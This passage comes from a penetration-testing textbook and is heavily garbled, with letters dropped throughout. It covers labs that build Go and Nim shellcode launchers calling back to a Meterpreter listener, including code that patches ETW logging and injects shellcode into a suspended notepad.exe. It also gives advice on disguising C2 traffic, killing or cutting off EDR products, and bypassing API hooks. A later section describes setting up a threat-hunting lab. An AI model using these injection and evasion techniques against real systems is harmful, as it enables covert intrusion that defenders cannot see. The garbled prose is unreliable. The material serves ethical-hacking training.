Windows ox vi our shre. Wih Mesploi sill running, wiing for connecions, le’s
run h inry:
PS C:\> cd \\10.0.0.40\ghh
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\csharp_dropper64.exe
In he Mesploi console on Kli, we should see our new shell come in:
[*] Meterpreter session 4 opened (10.0.0.40:4444 -> 10.0.0.20:56949)
at 2021-09-25 05:09:29 +0000
To vlide we re running s he new process, we cn use he getpid commnd o
ge he curren process ID nd hen use ps -S <processname> o vlide i mches our
process ID:
meterpreter > getpid
Current pid: 4272
meterpreter > ps -S csharp_dropper64.exe
Filtering on 'csharp_dropper64.exe'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
4272 4016 csharp_dropper64.exe x64 2 GHH\target
We cn see h our code is running in our C# luncher nd we hve he iliy o
lunch commnds in Mesploi. This could hve een ny pylod we wn, such s 
Covenn pylod or oher ypes of C2 pylods.
Creating Go Launchers
Go is growing in populriy ecuse of is cross-plform cpiliies. Go cn e com-
piled for moile nd rdiionl compuer plforms, including iOS, Linux, Windows,
mcOS, Solris, nd even z/OS. Becuse Go is compiled, i’s  good wy of inroducing
lunchers h rdiionl signures migh no cch. Go cn use Windows nd oher
opering sysems’ uil-in lirries nd consrucs o execue shellcode wihou follow-
ing he rdiionl perns h signure-sed deecions my e looking for.
143
One of he GiHu projecs h hs good Windows exmples is Russel Vn Tuyl’s
go-shellcode reposiory (hps://gihu.com/Ne0nd0g/go-shellcode), which hs differen
execuion perns wrien in Go. These re good references for mking your own Go
luncher s well s for poring hese perns o oher lnguges.
Lab 7-5: Compiling and Testing Go Launchers
PART II
Windows inries in Go cn e cross-compiled from Kli Linux using he mingw pck-
ges. Wih he golng nd mingw pckges inslled, ll we hve o do is specify he rchi-
ecure nd OS, nd Go will hndle he mjoriy of he uild insrucions for us. For his
l, we will coninue o use our Meerpreer lisener, nd we will use he uild_go.sh nd
go.emple files in he shells direcory. The Go code for his l uses  slighly differen
echnique hn he ls l. Insed of hreds, we use  fier o lunch our code. A fiber is
similr o  hred. I is n execuion srem sepre from he min porion of he code.
However, hreds re scheduled y he pplicion. Two hreds don’ hve o do nyhing
specil o oh run  he sme ime. Fiers require  scheduler o hndle he mulisk-
ing. As  resul, when we run our fier, i will keep running unil i exis or unil our code
relinquishes conrol o he res of he pplicion.
NOTE Fibers and threads have more differences. If you want to know
more about how threads and fibers are related and how to use them in
applications, see Dale Weiler’s great reference at https://graphitemaster
.github.io/fibers/.
Becuse our shellcode doesn’ know i’s in  fier, he end resul is h our code will
hng unil our shellcode exis. The Go code will look similr o wh we did in C#
ecuse i’s lso using Windows kernel32.dll nd ndll.dll lirries. This code is modi-
fied from he ired.em fier exmples s well s he code from he Ne0nd0g reposiory
menioned erlier.
For his exmple, we re going o e encoding our shellcode in se64, which les us
esily pu i ino Go synx:
shellcode, err := base64.StdEncoding.DecodeString(sc)
Here, we re using he se64 lirry nd decoding he sring we hve se wih our shell-
code, sc, nd sving i in he shellcode vrile. If ny error codes re reurned, hey re
sved ino he err vrile. The := operor is for creing nd ssigning vriles  he
sme ime, where = is used o ssign  vlue o  vrile h hs lredy een creed:
_, _, err = ❶ConvertThreadToFiber.Call()
addr, _, err:= ❷VirtualAlloc.Call(0, uintptr(len(shellcode)),
_MEM_COMMIT|_MEM_RESERVE, _PAGE_RWX)
_, _, err = ❸RtlCopyMemory.Call(addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)))
fiber, _, err:= ❹CreateFiber.Call(0, addr, 0)
❺SwitchToFiber.Call(fiber)
144
To execue our shellcode, we need o follow  few seps. The firs sep is o conver
our min hred ino  fier. We do his wih he ConvertThreadToFiber funcion ❶,
which, when specified wih no opions, kes he curren hred nd convers i o  fier.
We hve o do his ecuse only fiers cn cree ddiionl fiers.
The nex sep is o lloce memory for our shellcode wih he VirtualAlloc funcion ❷.
Here, we re creing he memory s Red/Wrie/Execue in one sep. This my e seen
s mlicious o some defense producs, so we could lwys mke i wrile o copy he
shellcode in nd hen remove he wrie is using VirtualProtect o mke i seem less
suspicious. Now h we hve he memory, we cn copy he shellcode ino i wih he
RtlCopyMemory cll ❸. One hing o noe ou Go is h i ries o proec you from
cerin ype conversions h my e dngerous, so using he unsfe lirry will ypss
hose proecions.
The nex sep is o cree  new fier for scheduling wih he CreateFiber funcion ❹.
Noice h, for his cll, we re creing  new fier poining o he memory locion of
our shellcode nd i is reurning he ddress of he new fier. Wih h ddress we cn
se execuion o he new fier wih he SwitchToFiber cll ❺. From here, our code will
execue unil he fier finishes or he code yields execuion ck o he min fier.
Now h we undersnd wh our code is doing, we cn run he uild_go.sh scrip
from he shells direcory in our hosed Kli. This will cree  /mp/CreeFier.exe file
h we cn lunch from our Windows ox. The uild line for he Go inry iself speci-
fies he rchiecure nd OS on he commnd line wih environmen vrile h cn e
se in  user’s environmen or on he commnd line iself:
GOOS=windows GOARCH=amd64 go build -o /tmp/CreateFiber.exe createFiber.go
Now wih our msfconsole lisener running, we cn run he code on he Windows ox:
Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\CreateFiber.exe
In our Linux Meerpreer session, we should now see  new session h we cn iner-
c wih nd use o execue commnds:
[*] Meterpreter session 5 opened (10.0.0.40:4444 -> 10.0.0.20:58764)
at 2021-09-25 08:07:59 +0000
meterpreter > getuid
Server username: GHH\target
Our inry on he Windows sysem will coninue o execue unil we exi he Meer-
preer session, nd hen i should exi. You cn invesige he ddiionl exmples in he
go-shellcode direcory on your Kli insnce, nd you cn ry o modify oher exmples
o run on he rge ox s well.
Creating Nim Launchers

Nim is noher compiled lnguge h hs suppor for muliple opering sysems nd
kes some of he populr prs of Pyhon nd oher lnguges o mke  more user-
friendly lnguge h compiles o C, C++, Ojecive-C, nd JvScrip. Becuse of his,
145
he code cn e compiled o one of he inermedie lnguges nd included in oher
projecs s well s e compiled o inries iself. The flexiiliy of Nim is pr of is popu-
lriy, long wih he fc h he signures of he inries will e differen enough o
ge ps mny rdiionl AV deecions.
There ren’  on of reposiories ou here using Nim righ now, u i hs goen
enion from oh hre cors nd ehicl hckers. One of he individuls who hs
done gre reserch on offensive Nim is Mrcello Slvi, known online s By3l33der.
His Offensive Nim reposiory  hps://gihu.com/y3l33d3r/OffensiveNim hs
PART II
smples of implemenions of muliple shellcode lunching nd evsion echniques.
Lab 7-6: Compiling and Testing Nim Launchers
For he Nim l, we re going o e using he sme seup s he previous wo ls, wih
our Mesploi Meerpreer hndler lisening nd uilding our code on he Kli mchine.
To se up our modules for our Nim code, we need o insll  module. Nimle is he
module mnger for Nim, so from our shells direcory, we insll he winim module
using Nimle, like so:
└─$ nimble install winim
Prompt: No local packages.json found, download it from internet? [y/N]
Answer: y
Downloading Official package list
Success Package list downloaded.
Downloading https://github.com/khchen/winim using git
Verifying dependencies for [email protected]
Installing [email protected]
Success: winim installed successfully.
The winim pckge conins he Windows modules nd definiions we need o lunch
our shellcode. I’s no inslled y deful, so we hve o insll i. Nex, we re going o
ke  quick look  our Nim code in he nim.emple file in he shells direcory. This
code is sed off of muliple OffensiveNim exmples y By3l33der. We re going o
elimine  lo of he error checking nd messging o preserve spce:
const patch: array[1, byte] = [byte 0xc3]
proc Patchntdll(): bool =
var
ntdll: LibHandle
etwPointer: pointer
origProtect: DWORD
trash: DWORD
disabled: bool = false
❶ntdll = loadLib("ntdll")
❷etwPointer = ntdll.symAddr("EtwEventWrite")
❸VirtualProtect(etwPointer, patch.len,
PAGE_EXECUTE_READ_WRITE, addr origProtect)
❹copyMem(etwPointer, unsafeAddr patch, patch.len)
❺VirtualProtect(etwPointer, patch.len, origProtect, addr trash)
The Patchntdll funcion overwries he EtwEventWrite funcion’s funcionliy

wih  reurn code so h i won’ execue ny code inside. The EtwEventWrite func-
ion logs he Even Trcing for Windows (ETW) evens, so his will sop ny of hem
146
from eing wrien ou, hus hiding our code from ny insrumenion h is using
i. In order o do his, we sr y geing informion ou he funcion so we know
wh we need o overwrie. The loadLib funcion ❶ lods he ndll.dll lirry ino our
code. The symAddr funcion ❷ ges he ddress of he EtwEventWrite funcion. The
VirtualProtect funcion ❸ ses he memory locion we re overwriing o Red/Wrie/
Execue so we cn ❹ pply our overwrien yes o h memory. Finlly, we resore he
originl proecion mode o he memory h ws sved ino he origProtect vrile
using he VirtualProtect funcion ❺.
Once we hve disled ETW, we need o injec our shellcode. To do his, we will use
he injectCreateRemoteThread funcion o injec our shellcode ino  new process:
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
❶let tProcess = startProcess("notepad.exe")
tProcess.suspend()
❷let pHandle = OpenProcess(PROCESS_ALL_ACCESS,false,
cast[DWORD](tProcess.processID))
let rPtr = VirtualAllocEx(pHandle, NULL, cast[SIZE_T](shellcode.len),
MEM_COMMIT, PAGE_EXECUTE_READ_WRITE )
var bytesWritten: SIZE_T
❸let wSuccess = WriteProcessMemory(pHandle, rPtr, unsafeAddr shellcode,
cast[SIZE_T](shellcode.len),addr bytesWritten )
var origProtect: DWORD
❹VirtualProtect(rPtr, cast[SIZE_T](shellcode.len),
PAGE_EXECUTE_READ, addr origProtect)
❺let tHandle = CreateRemoteThread(pHandle, NULL,0,
cast[LPTHREAD_START_ROUTINE](rPtr), NULL, 0, NULL )
Some of his code we’ve seen efore, nd he pern looks fmilir. For his exmple,
we re lunching  new process ❶ (in his cse, noepd.exe) where we will injec our
code. We hve o suspend he process so h i won’ e visile nd won’ give he user
conrol. Insed, we’ll open our process ❷ so h we cn mnipule i nd wrie our
shellcode ❸ ino he process. We rese ❹ he proecion seings on he memory so h
i won’ look srnge nd hen cree ❺  hred in he process. The hred will coninue
o run, nd our shellcode will execue while he regulr funcionliy of he process will
sill e suspended nd no visile o he user.
Finlly, we need o ie his informion ogeher. We do his in he equivlen of he
min funcion for Nim:
when isMainModule:
var success = Patchntdll()
echo fmt"[*] ETW blocked by patch: {bool(success)}"
injectCreateRemoteThread(shellcode)
This sys h if we ren’ including his code s  lirry nd his is he min mod-
ule of  projec, hen i will pch he DLL nd hen injec he shellcode. We cn uild
he shellcode wih he build_nim.sh commnd. The /mp/nim_dropper64.exe inry
should now e in /mp, nd when we run i on our Windows ox, we shouldn’ see ny
oupu, u we should see  session come ck in Mesploi:
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\nim_dropper64.exe
[*] Applying patch
[*] ETW blocked by patch: true
147
[*] Target Process: 3128
[*] pHandle: 180
[*] WriteProcessMemory: true
\-- bytes written: 200262
[*] tHandle: 144
[+] Injected
Network Evasion
PART II
Wih C2 chnnel eslished, we need o e le o evde deecion on he nework.
There re wo conrol res we ypiclly need o evde. The firs is IDS/IPS, nd he
second is proxy deecion. Mos orgnizions don’ decryp TLS d inernlly, u hey
my decryp TLS d going ouside he orgnizion. Knowing his, we hve muliple
res where encrypion nd evsion cn e performed.
Encryption
Two ypes of encrypion re common for C2 evsion. The firs is TLS-sed evsion.
By using TLS, res h don’ use TLS inspecion will no e le o see inside he rf-
fic, so he only insigh ools will hve ino he rffic will e frequency of communic-
ion nd he desinions. When possile, using TLS encrypion will help proec he
inegriy of he C2 rffic nd hide he srucure nd conen of he communicions
from defenders.
If here is ny quesion ou wheher TLS inspecion is presen, using encrypion
inside he C2 proocol iself is recommended. Depending on he communicion, no
ll of he conens my e cple of eing encryped (for exmple, for HTTP, he hed-
ers cn’ e encryped). However, he ody of he conen nd res like cookies cn e
encryped. Encryping his d mens h even if TLS is inerceped, he conens of
wh is eing sen ck nd forh in he C2 sysem re no immediely rnspren,
nd eing le o deermine wh cions re eing ken y he C2 sysem re hrder
o deermine.
When picking encrypion, mke sure you choose well-known encrypion schemes nd
no somehing sic like XOR-sed encrypion, ecuse cerin encrypion schemes
like XOR cn e vulnerle o known plinex cks. Things like he hosnme lmos
lwys pper in he firs pr of  rnscion. By choosing  eer encrypion scheme,
such s AES or RC4, you ensure he d is much more secure nd mke i hrder o
mper wih or figure ou he rffic wihou hving our cul shellcode.
Alternate Protocols
In ddiion o encrypion, some proocols hve eer nlysis hn ohers. Proocols
like HTTP re well undersood nd hve mny hndlers h undersnd hem. Oher
proocols my hve differen inspecion crieri, nd mixing proocols for  single
C2 sysem my help furher confuse defenders. For insnce, DNS is noher common
proocol o use, s mny orgnizions don’ hve good monioring or nlyics for DNS.
However, DNS is incredily noisy, so i my e eer used for check-ins nd signling
hn for sending lrge mouns of d. Comining DNS wih noher proocol such
148
s Rel-Time Sreming Proocol (RTSP) or WeSockes will men h muliple d
poins will hve o e nlyzed o ge  full picure of wh your C2 sysem is doing. By
using profiles h use round-roin for hosnmes, we cn cuse defenders o lso hve
o find ll of he hosnmes h  compromised sysem is using o undersnd he fre-
quency nd volume of he rffic leving he orgnizion.
Picking proocols h nework devices my hve hndlers for h re well docu-
mened will furher increse your chnces for success. Perimeer conrols migh only
pss rffic h hey undersnd, so using  compleely cusom C2 proocol migh e
locked ecuse here ren’ hndlers in he nework devices o del wih h specific
ype of rffic.
C2 Templates
C2 sysems frequenly llow emples for communicion. Since HTTP is he mos
common proocol for C2 communicion, i’s imporn o undersnd where es o
plce d when creing emples for communicions. Temples se up he locions
where d will e plced when sending nd receiving d wih he C2 sysem. For
insnce, mny C2 sysems will llow  GET reques for check-ins nd rerieving
commnds o run s well s POST requess for sending d ck. A smple GET reques
migh look like his:
GET /ping.php?id=<C2 ID> HTTP/1.1
Host: c2.derp.pro
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Here we see h he ID for he C2 server my e included in he URI line. This would
e esy o see nd mch up he differen hoss involved. So while his simple formul
is common, i would e eer o plce he vlues in  cookie. Cookies ren’ logged on
ll proxies, nd hey ren’ he firs hing folks look  in repors nd herefore require
ddiionl digging o see.
For sending d, mny people use POST requess ecuse he d is in he pylod.
How h d is represened my ke some hough. A very sic profile migh look
like his:
POST /pong.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.derp.pro
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
ID=<client ID>&data=<base64 encoded data>

149
While his is sic, mos of he criicl d is in he ody of he POST reques,
which mens i won’ likely e logged nywhere. Becuse i’s se64 encoded, i is esily
decoded y uomic ooling. Choosing  eer encoding scheme nd encryping he
d my mke i hrder o decode. Also, mching up he user gen o he user’s deful
rowser nd hen using similr heders will mke i look more norml.
Becuse his emple is so simple, i is ovious h i is C2 rffic. However, if you
mde he GET nd POST requess look like hey were using  REST API or oher kind
of rel HTTP rffic, in ddiion o choosing eer heders nd  user-gen, you could
PART II
mke i lend in even eer. Overll, picking  relisic-looking profile nd hen using
he sme heders h  regulr user on  sysem use will give you  eer chnce of
voiding deecion.
EDR Evasion
Endpoin deecion nd response (EDR) is ecoming more common in corpore envi-
ronmens. EDR ypiclly looks  he ehvior of inries on he sysem y insru-
mening processes wih hooked APIs so h i cn wch differen ehviors nd ssess
wheher or no hey re risky. Differen producs hook APIs in differen wys, u hey
lso differ in every deploymen. The seings nd excepions h ech orgnizion hs
my e differen.
In ddiion, he proecions for he EDR soluion iself my e differen. Mos EDR
soluions hve oh  deecion nd  locking mode. Depending on he se of he
EDR, your ess my or my no e locked, even hough hey re lering.
Killing EDR Products

Some EDR soluions cn e killed or disled. Ohers hve mper prevenion h will
preven he services from eing sopped nd deny permission for uninslling or killing
off services. This is somehing h is ypiclly pr of he configurion, so ech profile
in use for  produc my hve differen mper-proecion seings. Tesing o see if you
cn kill hese services my se off lers, u my lso e successful.
In ddiion, mny of he newer echnologies re required o repor o he cloud for
monioring nd o fire lers. By seing up hos-sed firewll rules, dding enries o he
hoss file, modifying locl DNS enries, nd more, you cn disrup h communicion.
This disrupion will llow you o ry o find wys of disling he ool wihou i repor-
ing your cions o is monioring service. In ddiion, some producs cn hve heir
drivers removed from he Windows environmen, furher limiing visiiliy.
Regrdless of wh EDR soluion you re deling wih, i’s es o profile he mchine
you’re on efore you perform ny risky ehvior. Becuse hese producs re chnging ll
he ime, if you re unfmilir wih  sysem, do reserch on h sysem o deermine log-
ging ypsses, disling mehods, nd uninsll opions efore you sr pos-exploiion
civiies on he sysem.
150
Bypassing Hooks
Mos EDR producs re le o undersnd wh is hppening in  process vi hooks ino
differen APIs. Cornelis de Pl wroe n ricle ou how his works nd some wys o
ypss hese hooks in his log ricle “Red Tem Tcics: Comining Direc Sysem Clls
nd sRDI o ypss AV/EDR” (hps://ouflnk.nl/log/2019/06/19/red-em-cics-
comining-direc-sysem-clls-nd-srdi-o-ypss-v-edr/). This mehod will override
he hooks in  process in order o execue sysem clls direcly wihou hiing he ddi-
ionl funcions.
If you re uilding your own ools, ired.em lso hs informion ou how o
re-mp secions of inries h my e hooked ino memory direcly from disk. Their
ricle “Full DLL Unhooking wih C++” (hps://www.ired.em/offensive-securiy/
defense-evsion/how-o-unhook--dll-using-c++) shows some of he sic C++ ech-
niques h could e dded o cusom lunchers o void he hooks.
Anoher helpful ool is ShrpBlock (hps://gihu.com/CCo/ShrpBlock), which
will lock injecion of EDR insrumenion ino  process s well s pch ou ETW,
AMSI, nd oher insrumenion h migh give wy your code. As echnologies
chnge, hese syles of cks will ecome more prevlen, nd he EDR vendors will
look o com hem. Twier, logs, nd conference presenions will help you sy
hed of he curve so h you cn e wre of he les echniques for he EDR producs
you come cross.
Summary
Commnd nd conrol nd shellcode lunchers re wo key ools red ems nd ehicl
hckers will need o hve  grsp of. C2 producs le us conrol  hos remoely s well
s perform pos-exploiion sks more esily. The lunchers help us ge our C2 gens
on o sysems. Undersnding his s well s how o uild srong nework evsion pro-
files nd ypss EDR nd AV on  sysem cn help us ge our ooling ono sysems nd
keep i from eing deeced nd miiged. The longer we re on  sysem wihou eing
deeced, he greer he chnce our sks will e successful.
For Further Reading

Metasploit GitHub gihu.com/rpid7/mesploi-frmework
Metasploitable sourceforge.ne/projecs/mesploile/
Metasploit Unleashed www.offensive-securiy.com/mesploi-unleshed/
PowerShell Empire gihu.com/BC-SECURITY/Empire.
Covenant GitHub gihu.com/cor/Covenn
SharpSploit gihu.com/cor/ShrpSploi
Go shellcode repository gihu.com/Ne0nd0g/go-shellcode
Offensive Nim gihu.com/y3l33d3r/OffensiveNim
151
Combining direct system calls and SDRI to bypass AV and EDR ouflnk.nl/
log/2019/06/19/red-em-cics-comining-direc-sysem-clls-nd-srdi-o-ypss-
v-edr/
How to unhook a DLL using C++ www.ired.em/offensive-securiy/defense-evsion/
how-o-unhook--dll-using-c++
SharpBlock gihu.com/CCo/ShrpBlock
Red team techniques for evading, bypassing, and disabling MS ATP and ATA www
PART II
.lckh.com/docs/eu-17/merils/eu-17-Thompson-Red-Tem-Techniques-For-
Evding-Bypssing-And-Disling-MS-Advnced-Thre-Proecion-And-Advnced-
Thre-Anlyics.pdf
Building a
Threat Hunting Lab
CHAPTER
8
• Threat hunting and labs
• Basic threat hunting lab: DetectionLab
• Extending your lab with HELK
Wha is a ha huig lab? Tha huig will b covd i h x chap, bu
ssially i is h sysmaic huig of has ha a o ohwis appa i h
wok hough h us of chologis such as SIEM, IDS, IPS, ad so o. I od o
la his vial skill s, you will d a saf viom i which o play—a lab vi-
om wih all h quid ools isalld, i a auomad dploym, ha may b
s up ad o dow quickly. To his d, w will xplo h las ad bs opios fo
you ha huig lab.
Threat Hunting and Labs

Tha huig is a maual pocss ha quis you o la abou pocsss, ha
acos, ad TTPs (s Chap 1). Mo impoaly, pacic is quid o dvlop you
huig skills. I his chap, w will focus o sig up you lab.
Options of Threat Hunting Labs

Sval mhods a availabl fo sig up you ow ha huig lab. Fo xampl,
you could maually s up vyhig you d fo ha huig, icludig h domai
svs, woksaios, ad scuiy ools. A i book could b dvod o his opic,
so o kp h discussio bif, w will la o usig auomad mhods. Ev so, as
you will s, w sill d o oll up ou slvs ad cusomiz h auomad labs. Wh
i coms o auomad ha huig labs, wo pojcs a havily suppod ad woh
lookig a: DcioLab ad HELK.
153
154
Fis, DcioLab,1 cad by Chis Log (clog), is wll suppod by sval
dvlops ad offs h wids slcio of ools ad auomad opios fo isallaio
o a local hos, via sval opaig sysms, ad i h cloud. Scod, h HELK2 poj-
c, alog wih associad pojcs such as Modo,3 OSSEM,4 ad Th ThaHu-
Playbook,5 is wll suppod by h Rodiguz bohs (Robo ad Jos) ad may
oh dvlops (Op Tha Rsach Fog)6 ad is woh ou cosidaio ad us.
Th mai diffc bw hs wo pojcs is ha DcioLab is a compl lab
viom, wih all h quid ools, bu i’s focusd o Spluk. HELK, o h oh
had, is o a compl lab viom. Isad, i is a aalyic plafom (basd o
Elasicsach7 ad ools) ha may augm you xisig lab viom. Also, b su
o chck ou Blacksmih ad SimuLad i h “Fo Fuh Radig” scio. Boh po-
vid cloud-oly lab vioms. Howv, if you a lookig fo h mos flxibiliy,
ad h opio o isall locally, you should go wih DcioLab. Fially, a umb of
oh auomad labs a woh mioig, bu hy a lss suppod, so hy could
hav issus ha a o addssd. Thos oh pojcs a lisd i h “Fo Fuh
Radig” scio of his chap.
Method for the Rest of this Chapter

I his chap, w will g h bs of boh pojcs miod pviously. W will
sa wih DcioLab, akig advaag of is xsiv lab viom, alog wih
is wid isallaio ad hosig opios, ad h w will augm DcioLab by
isallig HELK ad Modo o op of i, bigig fowad h wid ag of xpic
ha coms wih hos ools.
Basic Threat Hunting Lab: DetectionLab

Fis, w will build a basic ha huig lab, ih o you local hos o i h cloud.
Prerequisites
Agai, i his chap, w a goig o us h vabl DcioLab by Chis Log
(clog), augmd wih HELK ad Modo by Robo Rodiguz (Cyb3Wad0g).
Th pquisis a as follows:
• Widows, Liux, macOS, Azu, ad AWS a all suppod.

• 55GB+ of f disk spac.
• 16GB+ of RAM is highly commdd.
• Vaga 2.2.9+.
• Pack 1.6.0+ (oly quid if you’ buildig you ow boxs).
• ViualBox 6.0+ (old vsios may wok bu a o sd).
• A gisd vsio of VMwa (oly gisd vsios wok). Addiioal
sofwa is quid; s h DcioLab si fo fuh ifomaio.
Chapter 8: Building a Threat Hunting Lab
155
Lab 8-1: Install the Lab on Your Host
I his fis lab, w will isall h ha huig lab o ou ow hos. I his cas, w
will us Widows, bu as you ca s fom h pquisis, all opaig sysms a
suppod. If you don’t have the necessary resources available or don’t want to install the lab
on your host but in the cloud instead, skip the rest of this lab.
Fis, fom you hos, dowload ad isall ViualBox,8 which is usd wih Vaga
PART II
o lauch h imags.
NOTE Disable Hypervisor if you are running VirtualBox on a Windows 10

host. It is on by default and will prevent VirtualBox from running correctly.
For more information, see https://docs.microsoft.com/en-us/troubleshoot/
windows-client/application-management/virtualization-apps-not-work-
with-hyper-v.
Th dfaul sigs wihi ViualBox will do. Th is o d o u ViualBox
af isallaio, h Vaga scips will do ha fo us.
Nx, if you a o Widows (lik m) ad hav o isalld gi y, dowload ad
isall i ow.9 Th, lauch gi bash o wok wih gi ad chag o h c:/ oo dicoy:
$cd /c/
Visi h GiHub si fo DcioLab (hps://gihub.com/clog/DcioLab).

W will walk hough h isall, bu ak a mom o ad h dicios h ad
dowload h fils (fom ou gi bash pomp):
$git clone https://github.com/clong/DetectionLab.git
156
Now, dowload ad isall Vaga fo you hos.10 You hos will d o b bood
af h isall. Tha is good, as you wo’ wa ay oh applicaios uig wh
you lauch h labs bcaus you will d vy bi of you 16GB of RAM.
NOTE If you don’t have 16GB of RAM, or if you have some large applications
already running, these labs won’t work. VirtualBox is unstable when you fully
use the RAM of a system. If that happens to you, you will need to build your
labs in the cloud (see Lab 8-2).
Eih wihi you gi bash o PowShll, chag o h DcioLab/Vaga fold
ad h di h Vagafil (o add mo RAM o h logg fo HELK) as follows. Th
bold lis i h cod show you wh o look i h cofig fil; oh bold lis show
you wha o chag.
…
cfg.vm.provider "virtualbox" do |vb, override|
vb.gui = true
vb.name = "logger"
vb.customize ["modifyvm", :id, "--memory", 8192]
…
vb.gui = true
vb.name = "dc.windomain.local"
vb.default_nic_type = "82545EM"
…
vb.gui = true
vb.name = "wef.windomain.local"
…
vb.gui = true
vb.name = "win10.windomain.local"
vb.customize ["modifyvm", :id, "--graphicscontroller", "vboxsvga"]
Nx, ppa h Vaga scips, as follows, usig PowShll by igh-clickig

PowShll ad slcig Ru As Admiisao:
PS C:\Windows\system32> cd C:\DetectionLab\Vagrant
PS C:\DetectionLab\Vagrant> .\prepare.ps1
[+] Beginning pre-build checks for DetectionLab
[+] Checking for necessary tools in PATH...
[-] Packer was not found in your PATH.
[-] This is only needed if you plan to build your own boxes, otherwise you
can ignore this message.
[ √ ] Your version of Vagrant ( 2.2.16) is supported
[+] Enumerating available providers...
[+] Available Providers:
[*] virtualbox
157
NOTE If you get a script permission or execution error on this command,
you will need to run “set-executionpolicy unrestricted,” then select option
“A” from an administrator PowerShell. You will want to re-enable that policy
when you are done here (set-executionpolicy restricted).
Now o g sad buildig DcioLab, simply chag o h c:\DcioLab\

Vaga dicoy ad u vagrant up, as show x. I will ak abou wo hous o
PART II
load all of h viual machis, bu you oly hav o do his oc.
PS C:\DetectionLab\Vagrant> vagrant up
Af h PowShll scip compls, chck ha all sysms a uig as idd:
PS C:\DetectionLab\Vagrant> .\post_build_checks.ps1
[*] Verifying that Splunk is reachable...
[ √ ] Splunk is running and reachable!
[*] Verifying that Fleet is reachable...

[ √ ] Fleet is running and reachable!
[*] Verifying that Microsoft ATA is reachable...

[ √ ] Microsoft ATA is running and reachable!
[*] Verifying that Velociraptor is reachable...

[ √ ] Velociraptor is running and reachable!
[*] Verifying that Guacamole is reachable...

[ √ ] Guacamole is running and reachable!
If you u io ay issus alog h way, chck ou h oublshooig ad kow
issus pag.11
Lab 8-2: Install the Lab in the Cloud
If you do’ hav 16GB of RAM availabl, you will wa o us h cloud. Fo his lab,
w will us Azu. As a bous, h is a $200 cdi fo sigig up12 ha mus b usd
wihi fis 30 days, which is ply of im o kick h is ad s if you wa o us h
lab log m. If you pf o us AWS, howv, h DcioLab GiHub posioy
has asy isallaio isucios fo ha as wll.
CAUTION It should go without saying that the cloud is not free, and if you
use it beyond any credits you may have, you will incur substantial fees. The
good news is that you can shut down your images when you don’t need
them to save costs. You have been warned.
158
To chag higs up, his im w will lauch ou cloud isacs fom a Mac hos.
Agai, ay hos is suppod; you jus d o f o h DcioLab si fo oh
opaig sysms. To u his lab o h cloud (Azu), fis isall Bw,13 Tafom,14
Asibl,15 ad h Azu CLI ools:16
% /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/
install/HEAD/install.sh)"
% brew install terraform
% brew install ansible
% brew install azure-cli
Dowload h souc cod fom h DcioLab GiHub posioy:

% git clone https://github.com/clong/DetectionLab.git
% cd DetectionLab/Azure/Terraform
Copy h xampl fvas fil ad di i o iclud you IP (whaismyip.com) ad you
us fil locaio ifomaio:
% c p t e r r a f o r m. t f v a r s . e x a mp l e t e r r a f o r m. t f v a r s
Edi h fil wih you favoi dio. Agai, b su o upda h ip_whilis vai-
abl, as wll as you public ad piva ky locaios, chagig “/hom/us” o h loca-
io of h kyg oupu show. If you skip his sp, you will b lockd ou of h labs,
as oly h IP fom h whilis may accss h labs.
NOTE If in the future you change your IP, be sure to go to the Azure portal,
search for “Network Security Groups” at the top, find your security group,
and change your IP there on the inbound rules.
Nx, di h mai.f fil o chag h siz of h Liux sysm (o accommoda
la sps). Sach h mai.f fil fo h followig scio ad su h las li is
chagd fom D1 o D2, as show:
# Linux VM
resource "azurerm_virtual_machine" "logger" {
name = "logger"
location = var.region
resource_group_name = azurerm_resource_group.detectionlab.name
network_interface_ids = [azurerm_network_interface.logger-nic.id]
vm_size = "Standard_D2_v2"
Now, s up you Azu accou if you hav o alady. If you alady hav a f
accou h, o a askd duig sig up, you will d o slc Pay As You Go, as
his opio is quid o lif h CPU quoa ad allows you o u h quid siz
ad umb of machis fo his lab. A h im of his wiig, you will sill g h
$200 cdi fo us i h fis moh (fo xampl, my sig showd abou $12.16
a day wh dvlopig his lab). So as log as you shu dow h labs wh you’
o usig hm, you should g ply of us fo ha $200 cdi. Rmmb, as
159
sad ali, you hav o b awa of h cos byod ha $200 cdi ad moio
i accodigly.
NOTE If you forget to select Pay As You Go or get the following error later,
you will need to go into billing and upgrade to Pay As You Go:
❘ Error: compute.VirtualMachinesClient#CreateOrUpdate: Failure sending
request: StatusCode=0 – Original Error: autorest/azure: Service returned
an error. Status=<nil> Code=“OperationNotAllowed” Message=“Operation
PART II
could not be completed as it results in exceeding approved Total Regional
Cores quota. Additional details … Please read more about quota limits at
https://docs.microsoft.com/en-us/azure/azure-supportability/regional-
quota-requests.”
Nx, o auhica wih you w Azu accou, u h followig commad,
which will lauch a wbsi fo you o auhica o Azu:
% az login
Nx, ca a SSH ky ha ca b usd by Tafom o maag you Logg (Liux)
sysm, as show x. B su o giv h w ky a passwod.
% ssh-keygen -t rsa -f ~/.ssh/id_logger
Th, so h ky i ssh-ag (o ha Tafom ds o accss h ky wihou
a passwod, ad ssh-ag abls ha):
% ssh-agent
% ssh-add ~/.ssh/id_logger
Fially, you ca lauch h labs fom h commad li usig h followig cod.
NOTE This command will take a while to complete (couple hours), so take a
break after you launch it.
% terraform apply –auto-approve

azurerm_resource_group.detectionlab: Creating...
azurerm_resource_group.detectionlab: Creation complete after 1s [id=/
subscriptions/6c33c197-88bf-49b5-85e8-1b2a3ccc2803/resourceGroups/
DetectionLab-terraform]
azurerm_public_ip.wef-publicip: Creating...
azurerm_public_ip.dc-publicip: Creating...
azurerm_public_ip.logger-publicip: Creating...
azurerm_virtual_network.detectionlab-network: Creating...
azurerm_public_ip.win10-publicip: Creating...
random_id.randomId: Creating...
Terraced
160
